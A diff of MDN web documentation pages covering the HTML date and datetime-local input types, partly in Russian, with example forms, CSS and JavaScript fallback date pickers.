+<p><img alt="" src="https://mdn.mozillademos.org/files/14915/date-picker-fxa.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Non-supporting browsers gracefully degrade to a text input, but this creates problems both in terms of consistency of user interface (the presented control will be different), and data handling.</p>
+
+<p>The second problem is the more serious of the two; as we mentioned earlier, with a date input, the actual value is always normalized to the format <code>yyyy-mm-dd</code>. With a text input on the other hand, by default the browser has no recognition of what format the date should be in, and there are lots of different ways in which people write dates, for example:</p>
+
+<ul>
+ <li><code>ddmmyyyy</code></li>
+ <li><code>dd/mm/yyyy</code></li>
+ <li><code>mm/dd/yyyy</code></li>
+ <li><code>dd-mm-yyyy</code></li>
+ <li><code>mm-dd-yyyy</code></li>
+ <li><code>Month dd yyyy</code></li>
+</ul>
+
+<p>One way around this is to put a {{htmlattrxref("pattern", "input")}} attribute on your date input. Even though the date input doesn't use it, the text input fallback will. For example, try viewing the following example in a non-supporting browser:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="bday"&gt;Enter your birthday:&lt;/label&gt;
+    &lt;input type="date" id="bday" name="bday" required pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}"&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input type="submit"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{ EmbedLiveSample('Handling_browser_support', 600, 100) }}</p>
+
+<p>If you try submitting it, you'll see that the browser now displays an error message (and highlights the input as invalid) if your entry doesn't match the pattern <code>nnnn-nn-nn</code>, where <code>n</code> is a number from 0 to 9. Of course, this doesn't stop people from entering invalid dates, or incorrectly formatted dates, such as <code>yyyy-dd-mm</code> (whereas we want <code>yyyy-mm-dd</code>). So we still have a problem.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+  margin-bottom: 10px;
+}
+
+input:invalid + span {
+  position: relative;
+}
+
+input:invalid + span:after {
+  content: '✖';
+  position: absolute;
+  right: -18px;
+}
+
+input:valid + span {
+  position: relative;
+}
+
+input:valid + span:after {
+  content: '✓';
+  position: absolute;
+  right: -18px;
+}</pre>
+</div>
+
+<p>The best way to deal with dates in forms in a cross-browser way at the moment is to get the user to enter the day, month, and year in separate controls ({{htmlelement("select")}} elements being popular; see below for an implementation), or to use a JavaScript library such as <a href="https://jqueryui.com/datepicker/">jQuery date picker</a>.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In this example we create two sets of UI elements for choosing dates: a native <code>&lt;input type="date"&gt;</code> picker and a set of three {{htmlelement("select")}} elements for choosing dates in older browsers that don't support the native input.</p>
+
+<p>{{ EmbedLiveSample('Examples', 600, 100) }}</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>The HTML looks like so:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+    &lt;div class="nativeDatePicker"&gt;
+      &lt;label for="bday"&gt;Enter your birthday:&lt;/label&gt;
+      &lt;input type="date" id="bday" name="bday"&gt;
+      &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;/div&gt;
+    &lt;p class="fallbackLabel"&gt;Enter your birthday:&lt;/p&gt;
+    &lt;div class="fallbackDatePicker"&gt;
+      &lt;span&gt;
+        &lt;label for="day"&gt;Day:&lt;/label&gt;
+        &lt;select id="day" name="day"&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+      &lt;span&gt;
+        &lt;label for="month"&gt;Month:&lt;/label&gt;
+        &lt;select id="month" name="month"&gt;
+          &lt;option selected&gt;January&lt;/option&gt;
+          &lt;option&gt;February&lt;/option&gt;
+          &lt;option&gt;March&lt;/option&gt;
+          &lt;option&gt;April&lt;/option&gt;
+          &lt;option&gt;May&lt;/option&gt;
+          &lt;option&gt;June&lt;/option&gt;
+          &lt;option&gt;July&lt;/option&gt;
+          &lt;option&gt;August&lt;/option&gt;
+          &lt;option&gt;September&lt;/option&gt;
+          &lt;option&gt;October&lt;/option&gt;
+          &lt;option&gt;November&lt;/option&gt;
+          &lt;option&gt;December&lt;/option&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+      &lt;span&gt;
+        &lt;label for="year"&gt;Year:&lt;/label&gt;
+        &lt;select id="year" name="year"&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+    &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>The months are hardcoded (as they are always the same), while the day and year values are dynamically generated depending on the currently selected month and year, and the current year (see the code comments below for detailed explanations of how these functions work.)</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">input:invalid+span:after {
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+</div>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>The other part of the code that may be of interest is the feature detection code — to detect whether the browser supports <code>&lt;input type="date"&gt;</code>, we create a new {{htmlelement("input")}} element, set its <code>type</code> to <code>date</code>, then immediately check what its type is set to — non-supporting browsers will return <code>text</code>, because the <code>date</code> type falls back to type <code>text</code>. If <code>&lt;input type="date"&gt;</code> is not supported, we hide the native picker and show the fallback picker UI ({{htmlelement("select")}}) instead.</p>
+
+<pre class="brush: js notranslate">// define variables
+var nativePicker = document.querySelector('.nativeDatePicker');
+var fallbackPicker = document.querySelector('.fallbackDatePicker');
+var fallbackLabel = document.querySelector('.fallbackLabel');
+
+var yearSelect = document.querySelector('#year');
+var monthSelect = document.querySelector('#month');
+var daySelect = document.querySelector('#day');
+
+// hide fallback initially
+fallbackPicker.style.display = 'none';
+fallbackLabel.style.display = 'none';
+
+// test whether a new date input falls back to a text input or not
+var test = document.createElement('input');
+test.type = 'date';
+
+// if it does, run the code inside the if() {} block
+if(test.type === 'text') {
+  // hide the native picker and show the fallback
+  nativePicker.style.display = 'none';
+  fallbackPicker.style.display = 'block';
+  fallbackLabel.style.display = 'block';
+
+  // populate the days and years dynamically
+  // (the months are always the same, therefore hardcoded)
+  populateDays(monthSelect.value);
+  populateYears();
+}
+
+function populateDays(month) {
+  // delete the current set of &lt;option&gt; elements out of the
+  // day &lt;select&gt;, ready for the next set to be injected
+  while(daySelect.firstChild){
+    daySelect.removeChild(daySelect.firstChild);
+  }
+
+  // Create variable to hold new number of days to inject
+  var dayNum;
+
+  // 31 or 30 days?
+  if(month === 'January' || month === 'March' || month === 'May' || month === 'July' || month === 'August' || month === 'October' || month === 'December') {
+    dayNum = 31;
+  } else if(month === 'April' || month === 'June' || month === 'September' || month === 'November') {
+    dayNum = 30;
+  } else {
+  // If month is February, calculate whether it is a leap year or not
+    var year = yearSelect.value;
+    var leap = (year % 4 === 0 &amp;&amp; year % 100 !== 0) || year % 400 === 0;
+    dayNum = leap ? 29 : 28;
+  }
+
+  // inject the right number of new &lt;option&gt; elements into the day &lt;select&gt;
+  for(i = 1; i &lt;= dayNum; i++) {
+    var option = document.createElement('option');
+    option.textContent = i;
+    daySelect.appendChild(option);
+  }
+
+  // if previous day has already been set, set daySelect's value
+  // to that day, to avoid the day jumping back to 1 when you
+  // change the year
+  if(previousDay) {
+    daySelect.value = previousDay;
+
+    // If the previous day was set to a high number, say 31, and then
+    // you chose a month with less total days in it (e.g. February),
+    // this part of the code ensures that the highest day available
+    // is selected, rather than showing a blank daySelect
+    if(daySelect.value === "") {
+      daySelect.value = previousDay - 1;
+    }
+
+    if(daySelect.value === "") {
+      daySelect.value = previousDay - 2;
+    }
+
+    if(daySelect.value === "") {
+      daySelect.value = previousDay - 3;
+    }
+  }
+}
+
+function populateYears() {
+  // get this year as a number
+  var date = new Date();
+  var year = date.getFullYear();
+
+  // Make this year, and the 100 years before it available in the year &lt;select&gt;
+  for(var i = 0; i &lt;= 100; i++) {
+    var option = document.createElement('option');
+    option.textContent = year-i;
+    yearSelect.appendChild(option);
+  }
+}
+
+// when the month or year &lt;select&gt; values are changed, rerun populateDays()
+// in case the change affected the number of available days
+yearSelect.onchange = function() {
+  populateDays(monthSelect.value);
+}
+
+monthSelect.onchange = function() {
+  populateDays(monthSelect.value);
+}
+
+//preserve day selection
+var previousDay;
+
+// update what day has been set to previously
+// see end of populateDays() for usage
+daySelect.onchange = function() {
+  previousDay = daySelect.value;
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Remember that some years have 53 weeks in them (see <a href="https://en.wikipedia.org/wiki/ISO_week_date#Weeks_per_year">Weeks per year</a>)! You'll need to take this into consideration when developing production apps.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comments</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#date-state-(type=date)', '&lt;input type="date"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#date-state-(type=date)', '&lt;input type="date"&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.input.input-date")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The generic {{HTMLElement("input")}} element and the interface used to manipulate it, {{domxref("HTMLInputElement")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Forms/The_native_form_widgets#Date_and_time_picker">Date and Time picker tutorial</a></li>
+</ul>
diff --git a/files/ru/web/html/element/input/datetime-local/index.html b/files/ru/web/html/element/input/datetime-local/index.html
new file mode 100644
index 0000000000..99ddddd6bd
--- /dev/null
+++ b/files/ru/web/html/element/input/datetime-local/index.html
@@ -0,0 +1,586 @@
+---
+title: <input type="datetime-local">
+slug: Web/HTML/Element/Input/datetime-local
+translation_of: Web/HTML/Element/input/datetime-local
+---
+<p>{{HTMLRef}}</p>
+
+<p>{{htmlelement("input")}} элемент типа <strong><code>datetime-local</code></strong> создает поля ввода, позволяющие легко ввести дату и время —  год, месяц, день, часы и минуты.</p>
+
+<p>Интерфейс управления варьируется от браузера к браузеру, на данный момент поддержка носит фрагментарный характер, только с Chrome/Opera  и EDGE на рабочем столе — и большинство современных мобильных версиях браузера — наличие полезной реализации. В других браузерах элемент управления сводиться до простого <code><a href="/en-US/docs/Web/HTML/Element/input/text">&lt;input type="text"&gt;</a></code>.</p>
+
+<div id="Basic_example">
+<pre class="brush: html">&lt;input id="datetime" type="datetime-local"&gt;</pre>
+
+<p>{{ EmbedLiveSample('Basic_example', 600, 40) }}</p>
+</div>
+
+<p>Для тех из вас, кто не использует поддерживающий браузер, Chrome/Opera datetime-local control выглядит как скриншот ниже. Нажатие на стрелку вниз с правой стороны приводит к выбору даты, чтобы вы могли выбрать дату; вы должны ввести время вручную.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14949/datetime-local-chrome.png" style="display: block; height: 224px; margin: 0px auto; width: 280px;"></p>
+
+<p>В Edge <code>datetime-local</code> элемент управления выглядит как на скриншоте ниже. Клик на дате и времени отобразит два отдельных поля выбора, чтобы Вы могли легко установить дату и время. То есть, по сути, получаем два элемента <code>date</code> и <code>time</code>, объединенных в один:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14953/datetime-local-picker-edge1.png" style="display: block; height: 398px; margin: 0px auto; width: 320px;"></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14955/datetime-local-picker-edge2.png" style="display: block; height: 394px; margin: 0px auto; width: 264px;"></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Value")}}</strong></td>
+   <td>A {{domxref("DOMString")}} representing a date and time, or empty.</td>
+  </tr>
+  <tr>
+   <td><strong>события</strong></td>
+   <td>{{event("change")}} и {{event("input")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>Supported Common Attributes</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("readonly", "input")}}, and {{htmlattrxref("step", "input")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>IDL attributes</strong></td>
+   <td><code>list</code>, <code>value</code>, <code>valueAsNumber</code>.</td>
+  </tr>
+  <tr>
+   <td><strong>методы</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.stepDown", "stepDown()")}}, {{domxref("HTMLInputElement.stepUp", "stepUp()")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Значение">Значение</h2>
+
+<p> {{domxref("DOMString")}} представление значения даты, введенной во входные данные. Вы можете установить значение по умолчанию для ввода, включая дату внутри {{htmlattrxref("value", "input")}} атрибута, как:</p>
+
+<pre class="brush: html">&lt;label for="party"&gt;Enter a date and time for your party booking:&lt;/label&gt;
+&lt;input id="party" type="datetime-local" name="partydate" value="2017-06-01T08:30"&gt;</pre>
+
+<p>{{ EmbedLiveSample('Value', 600, 60) }}</p>
+
+<p>Одна вещь, чтобы отметить, что отображаемый формат даты отличается от фактического <code>значения</code> — отображаемый формат даты будет выбран на основе установленного языкового стандарта операционной системы пользователя, в то время как дата<code>значение</code> всегда форматируется <code>yyyy-MM-ddThh:mm</code>. Когда значение передается на сервер, например, это будет выглядеть <code>partydate=2017-06-01T08:30</code>.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: также имейте в виду, что если такие данные поступают через http-запрос Get, двоеточие нужно экранировать для включения в параметры URL, например <code>partydate=2017-06-01T08%3A30</code>.</p>
+</div>
+
+<p>Вы также можете получить и установить значение даты в JavaScript, используя {{domxref("HTMLInputElement.value")}} свойство, например:</p>
+
+<pre class="brush: js">var dateControl = document.querySelector('input[type="datetime-local"]');
+dateControl.value = '2017-06-01T08:30';</pre>
+
+<h2 id="Использование_локальных_входных_данных_datetime">Использование локальных входных данных datetime</h2>
+
+<p>Ввод даты и времени выглядит удобно на первый взгляд — он обеспечивает простой пользовательский интерфейс для выбора даты и времени, и они нормализуют формат данных, отправляемых на сервер, независимо от локали пользователя. Тем не менее, есть проблемы с <code>&lt;input type="datetime-local"&gt;</code> из-за ограниченной поддержки браузера.</p>
+
+<p>Мы рассмотрим основные и более сложные способы использования <code>&lt;input type="datetime-local"&gt;</code>, затем предложим советы по устранению проблемы поддержки браузера позже (see {{anch("Handling browser support")}}).</p>
+
+<h3 id="Базовое_использование_локальных_полей_ввода_datetime">Базовое использование локальных полей ввода datetime</h3>
+
+<p>Самое простои использование <code>&lt;input type="datetime-local"&gt;</code> включает комбинацию базового <code>&lt;input&gt;</code> и {{htmlelement("label")}} элемента, как в примере ниже:</p>
+
+<pre class="brush: html">&lt;form&gt;
+    &lt;label for="party"&gt;Enter a date and time for your party booking:&lt;/label&gt;
+    &lt;input id="party" type="datetime-local" name="partydate"&gt;
+&lt;/form&gt;</pre>
+
+<p>{{ EmbedLiveSample('Basic_uses_of_datetime-local', 600, 40) }}</p>
+
+<h3 id="Установка_максимума_и_минимума_даты_и_времени">Установка максимума и минимума даты и времени</h3>
+
+<p>Вы можете использовать {{htmlattrxref("min", "input")}} и {{htmlattrxref("max", "input")}} аттрибуты чтобы ограничить дату/время, которое может выбрать пользователь. В примере ниже мы устанавливает минимальные дату и время в <code>2017-06-01T08:30</code> и максимальные в <code>2017-06-30T16:30</code>:</p>
+
+<pre class="brush: html">  &lt;form&gt;
+    &lt;label for="party"&gt;Enter a date and time for your party booking:&lt;/label&gt;
+    &lt;input id="party" type="datetime-local" name="partydate" min="2017-06-01T08:30" max="2017-06-30T16:30"&gt;
+  &lt;/form&gt;</pre>
+
+<p>{{ EmbedLiveSample('Setting_maximum_and_minimum_dates_and_times', 600, 40) }}</p>
+
+<p>Как результат:</p>
+
+<ul>
+ <li>Могут быть выбраны только дни из Июня 2017 — только дни, которые входят в заданный диапазон дат доступны для выбота, и в виджете нельзя увидеть даты, не принадлежaщие Июню.</li>
+ <li>В зависимости от того, какой браузер Вы используете, Вы можете заметить, что вребя вне заданного диапазона не доступно к выбору (e.g. Edge), или доступно к выбору(e.g. Chrome) но невалидно (see {{anch("Validation")}}).</li>
+</ul>
+
+<div class="note">
+<p><strong>Примечание</strong>: Существует возможность использовать {{htmlattrxref("step", "input")}} аттрибут для того, чтобы установить количество дней, которые будут пропущены каждый раз, когда дата увеличивается (например, если Вы хотите сделать доступными для выбора только Субботы). Однако, на момент написание этой статьи это нет эффективной реализации этой функции.</p>
+</div>
+
+<h3 id="Controlling_input_size">Controlling input size</h3>
+
+<p><code>&lt;input type="datetime-local"&gt;</code> doesn't support form sizing attributes such as {{htmlattrxref("size", "input")}}. You'll have to resort to <a href="/en-US/docs/Web/CSS">CSS</a> for sizing needs.</p>
+
+<h3 id="Setting_timezones">Setting timezones</h3>
+
+<p>One thing the <code>datetime-local</code> input type doesn't provide is a way to set the timezone/locale of the datetime. This was available in the <code><a href="/en-US/docs/Web/HTML/Element/input/datetime">datetime</a></code> input type, but this type is now obsolete, having been removed from the spec. The main reasons why this was removed are a lack of implementation in browsers, and concerns over the user interface/experience. It is easier to just have a control (or controls) for setting the date/time and then deal with the locale in a separate control.</p>
+
+<p>For example, if you are creating a system where the user is likely to already be logged in, with their locale already set, you could provide the timezone in a <code><a href="/en-US/docs/Web/HTML/Element/input/hidden">hidden</a></code> input type. For example:</p>
+
+<pre class="brush: html">&lt;input type="hidden" id="timezone" name="timezone" value="-08:00"&gt;</pre>
+
+<p>On the other hand, if you were required to allow the user to enter a timezone along with a datetime entry, you could provide a means of inputting a timezone, such as a {{htmlelement("select")}} element:</p>
+
+<pre class="brush: html">&lt;select name="timezone_offset" id="timezone-offset" class="span5"&gt;
+    &lt;option value="-12:00"&gt;(GMT -12:00) Eniwetok, Kwajalein&lt;/option&gt;
+    &lt;option value="-11:00"&gt;(GMT -11:00) Midway Island, Samoa&lt;/option&gt;
+    &lt;option value="-10:00"&gt;(GMT -10:00) Hawaii&lt;/option&gt;
+    &lt;option value="-09:50"&gt;(GMT -9:30) Taiohae&lt;/option&gt;
+    &lt;option value="-09:00"&gt;(GMT -9:00) Alaska&lt;/option&gt;
+    &lt;option value="-08:00"&gt;(GMT -8:00) Pacific Time (US &amp;amp; Canada)&lt;/option&gt;
+
+  ...
+
+&lt;/select&gt;</pre>
+
+<p>In either case, the timedate and timezone values would be submitted to the server as separate data points, and then you'd need to store them appropriately in the database on the server-side.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The above code snippet is taken from <a href="https://gist.github.com/nodesocket/3919205">All world timezones in an HTML select element</a>.</p>
+</div>
+
+<h2 id="Validation">Validation</h2>
+
+<p>By default, <code>&lt;input type="datetime-local"&gt;</code> does not apply any validation to entered values. The UI implementations generally don't let you enter anything that isn't a datetime — which is helpful — but you can still fill in no value and submit, or enter an invalid datetime (e.g. the 32th of April).</p>
+
+<p>You can use {{htmlattrxref("min", "input")}} and {{htmlattrxref("max", "input")}} to restrict the available dates (see anch("Setting maximum and minimum dates")), and in addition use the {{htmlattrxref("required", "input")}} attribute to make filling in the date mandatory. As a result, supporting browsers will display an error if you try to submit a date that is outside the set bounds, or an empty date field.</p>
+
+<p>Let's look at an example — here we've set minimum and maximum datetimes, and also made the field required:</p>
+
+<pre class="brush: html">&lt;form&gt;
+    &lt;div&gt;
+        &lt;label for="party"&gt;Choose your preferred party date and time (required, June 1st 8.30am to June 30th 4.30pm):&lt;/label&gt;
+        &lt;input id="party" type="datetime-local" name="partydate" min="2017-06-01T08:30" max="2017-06-30T16:30" required&gt;
+        &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+        &lt;input type="submit" value="Book party!"&gt;
+    &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>If you try to submit the form with an incomplete date (or with a date outside the set bounds), the browser displays an error. Try playing with the example now:</p>
+
+<p>{{ EmbedLiveSample('Validation', 600, 120) }}</p>
+
+<p>Here's'a screenshot for those of you who aren't using a supporting browser:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14957/datetime-local-error.png" style="display: block; height: 100px; margin: 0px auto; width: 558px;"></p>
+
+<p>Here's the CSS used in the above example. Here we make use of the {{cssxref(":valid")}} and {{cssxref(":invalid")}} CSS properties to style the input based on whether or not the current value is valid. We had to put the icons on a {{htmlelement("span")}} next to the input, not on the input itself, because in Chrome the generated content is placed inside the form control, and can't be styled or shown effectively.</p>
+
+<pre class="brush: css">div {
+    margin-bottom: 10px;
+    display: flex;
+    align-items: center;
+}
+
+label {
+  display: inline-block;
+  width: 300px;
+}
+
+input:invalid+span:after {
+    content: '✖';
+    padding-left: 5px;
+}
+
+input:valid+span:after {
+    content: '✓';
+    padding-left: 5px;
+}</pre>
+
+<div class="warning">
+<p><strong>Important</strong>: HTML form validation is <em>not</em> a substitute for scripts that ensure that the entered data is in the proper format.  It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to simply bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data is submitted (or data which is too large, is of the wrong type, and so forth).</p>
+</div>
+
+<h2 id="Handling_browser_support">Handling browser support</h2>
+
+<p>As mentioned above, the major problem with using date inputs at the time of writing is browser support — only Chrome/Opera and Edge support it on desktop, and most modern browsers on mobile. As an example, the <code>datetime-local</code> picker on Firefox for Android looks like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14951/datetime-local-fxa.png" style="display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>Non-supporting browsers gracefully degrade to a text input, but this creates problems both in terms of consistency of user interface (the presented control will be different), and data handling.</p>
+
+<p>The second problem is the most serious — as we mentioned earlier, with a <code>datetime-local</code> input the actual value is always normalized to the format <code>yyyy-mm-ddThh:mm</code>. With a text input on the other hand, by default the browser has no recognition of what format the date should be in, and there are lots of different ways in which people write dates and times, for example:</p>
+
+<ul>
+ <li><code>ddmmyyyy</code></li>
+ <li><code>dd/mm/yyyy</code></li>
+ <li><code>mm/dd/yyyy</code></li>
+ <li><code>dd-mm-yyyy</code></li>
+ <li><code>mm-dd-yyyy</code></li>
+ <li><code>mm-dd-yyyy hh:mm</code> (12 hour clock)</li>
+ <li><code>mm-dd-yyyy hh:mm</code> (24 hour clock)</li>
+ <li>etc.</li>
+</ul>
+
+<p>One way around this is to put a {{htmlattrxref("pattern", "input")}} attribute on your <code>datetime-local</code> input. Even though the <code>datetime-local</code> input doesn't use it, the text input fallback will. For example, try viewing the following demo in a non-supporting browser:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="party"&gt;Choose your preferred party date and time (required, June 1st 8.30am to June 30th 4.30pm):&lt;/label&gt;
+    &lt;input id="party" type="datetime-local" name="partydate"
+           min="2017-06-01T08:30" max="2017-06-30T16:30"
+           pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}" required&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input type="submit" value="Book party!"&gt;
+  &lt;/div&gt;
+  &lt;input type="hidden" id="timezone" name="timezone" value="-08:00"&gt;
+&lt;/form&gt;</pre>
+
+<p>{{ EmbedLiveSample('Handling_browser_support', 600, 100) }}</p>
+
+<p>If you try submitting it, you'll see that the browser now displays an error message (and highlights the input as invalid) if your entry doesn't match the pattern <code>nnnn-nn-nnTnn:nn</code>, where <code>n</code> is a number from 0 to 9. Of course, this doesn't stop people from entering invalid dates, or incorrectly formatted dates and times.</p>
+
+<p>And what user is going to understand the pattern they need to enter the time and date in?</p>
+
+<p>We still have a problem.</p>
+
+<div class="hidden">
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+}
+
+input:invalid + span {
+  position: relative;
+}
+
+input:invalid + span:after {
+  content: '✖';
+  position: absolute;
+  right: -18px;
+}
+
+input:valid + span {
+  position: relative;
+}
+
+input:valid + span:after {
+  content: '✓';
+  position: absolute;
+  right: -18px;
+}</pre>
+</div>
+
+<p>The best way to deal with dates in forms in a cross-browser way at the moment is to get the user to enter the day, month, year, and time in separate controls ({{htmlelement("select")}} elements being popular — see below for an implementation), or use JavaScript libraries such as <a href="https://jqueryui.com/datepicker/">jQuery date picker</a>, and the <a href="http://timepicker.co/">jQuery timepicker plugin</a>.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In this example we create two sets of UI elements for choosing datetimes — a native <code>&lt;input type="datetime-local"&gt;</code> picker, and a set of five {{htmlelement("select")}} elements for choosing dates and times in older browsers that don't support the native input.</p>
+
+<p>{{ EmbedLiveSample('Examples', 600, 140) }}</p>
+
+<p>The HTML looks like so:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div class="nativeDateTimePicker"&gt;
+    &lt;label for="party"&gt;Choose a date and time for your party:&lt;/label&gt;
+    &lt;input type="datetime-local" id="party" name="bday"&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;p class="fallbackLabel"&gt;Choose a date and time for your party:&lt;/p&gt;
+  &lt;div class="fallbackDateTimePicker"&gt;
+    &lt;div&gt;
+      &lt;span&gt;
+        &lt;label for="day"&gt;Day:&lt;/label&gt;
+        &lt;select id="day" name="day"&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+      &lt;span&gt;
+        &lt;label for="month"&gt;Month:&lt;/label&gt;
+        &lt;select id="month" name="month"&gt;
+          &lt;option selected&gt;January&lt;/option&gt;
+          &lt;option&gt;February&lt;/option&gt;
+          &lt;option&gt;March&lt;/option&gt;
+          &lt;option&gt;April&lt;/option&gt;
+          &lt;option&gt;May&lt;/option&gt;
+          &lt;option&gt;June&lt;/option&gt;
+          &lt;option&gt;July&lt;/option&gt;
+          &lt;option&gt;August&lt;/option&gt;
+          &lt;option&gt;September&lt;/option&gt;
+          &lt;option&gt;October&lt;/option&gt;
+          &lt;option&gt;November&lt;/option&gt;
+          &lt;option&gt;December&lt;/option&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+      &lt;span&gt;
+        &lt;label for="year"&gt;Year:&lt;/label&gt;
+        &lt;select id="year" name="year"&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+      &lt;span&gt;
+        &lt;label for="hour"&gt;Hour:&lt;/label&gt;
+        &lt;select id="hour" name="hour"&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+      &lt;span&gt;
+        &lt;label for="minute"&gt;Minute:&lt;/label&gt;
+        &lt;select id="minute" name="minute"&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>The months are hardcoded (as they are always the same), while the day and year values are dynamically generated depending on the currently selected month and year, and the current year respectively (see the code comments below for detailed explanations of how these functions work.) We also decided to dynamically generate the hours and months, as there are so many of them!</p>
+
+<div class="hidden">
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute;
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+</div>
+
+<p>The other part of the code that may be of interest is the feature detection code — to detect whether the browser supports <code>&lt;input type="date"&gt;</code>, we create a new {{htmlelement("input")}} element, set its <code>type</code> to <code>date</code>, then immediately check what its type is set to — non-supporting browsers will return <code>text</code>, because the <code>date</code> type falls back to type <code>text</code>. If <code>&lt;input type="date"&gt;</code> is not supported, we hide the native picker and show the fallback picker UI ({{htmlelement("select")}}) instead.</p>
+
+<pre class="brush: js">// define variables
+var nativePicker = document.querySelector('.nativeDateTimePicker');
+var fallbackPicker = document.querySelector('.fallbackDateTimePicker');
+var fallbackLabel = document.querySelector('.fallbackLabel');
+
+var yearSelect = document.querySelector('#year');
+var monthSelect = document.querySelector('#month');
+var daySelect = document.querySelector('#day');
+var hourSelect = document.querySelector('#hour');
+var minuteSelect = document.querySelector('#minute');
+
+// hide fallback initially
+fallbackPicker.style.display = 'none';
+fallbackLabel.style.display = 'none';
+
+// test whether a new date input falls back to a text input or not
+var test = document.createElement('input');
+test.type = 'date';
+// if it does, run the code inside the if() {} block
+if(test.type === 'text') {
+  // hide the native picker and show the fallback
+  nativePicker.style.display = 'none';
+  fallbackPicker.style.display = 'block';
+  fallbackLabel.style.display = 'block';
+
+  // populate the days and years dynamically
+  // (the months are always the same, therefore hardcoded)
+  populateDays(monthSelect.value);
+  populateYears();
+  populateHours();
+  populateMinutes();
+}
+
+function populateDays(month) {
+  // delete the current set of &lt;option&gt; elements out of the
+  // day &lt;select&gt;, ready for the next set to be injected
+  while(daySelect.firstChild){
+    daySelect.removeChild(daySelect.firstChild);
+  }
+
+  // Create variable to hold new number of days to inject
+  var dayNum;
+
+  // 31 or 30 days?
+  if(month === 'January' | month === 'March' | month === 'May' | month === 'July' | month === 'August' | month === 'October' | month === 'December') {
+    dayNum = 31;
+  } else if(month === 'April' | month === 'June' | month === 'September' | month === 'November') {
+    dayNum = 30;
+  } else {
+  // If month is February, calculate whether it is a leap year or not
+    var year = yearSelect.value;
+    (year - 2016) % 4 === 0 ? dayNum = 29 : dayNum = 28;
+  }
+
+  // inject the right number of new &lt;option&gt; elements into the day &lt;select&gt;
+  for(i = 1; i &lt;= dayNum; i++) {
+    var option = document.createElement('option');
+    option.textContent = i;
+    daySelect.appendChild(option);
+  }
+
+  // if previous day has already been set, set daySelect's value
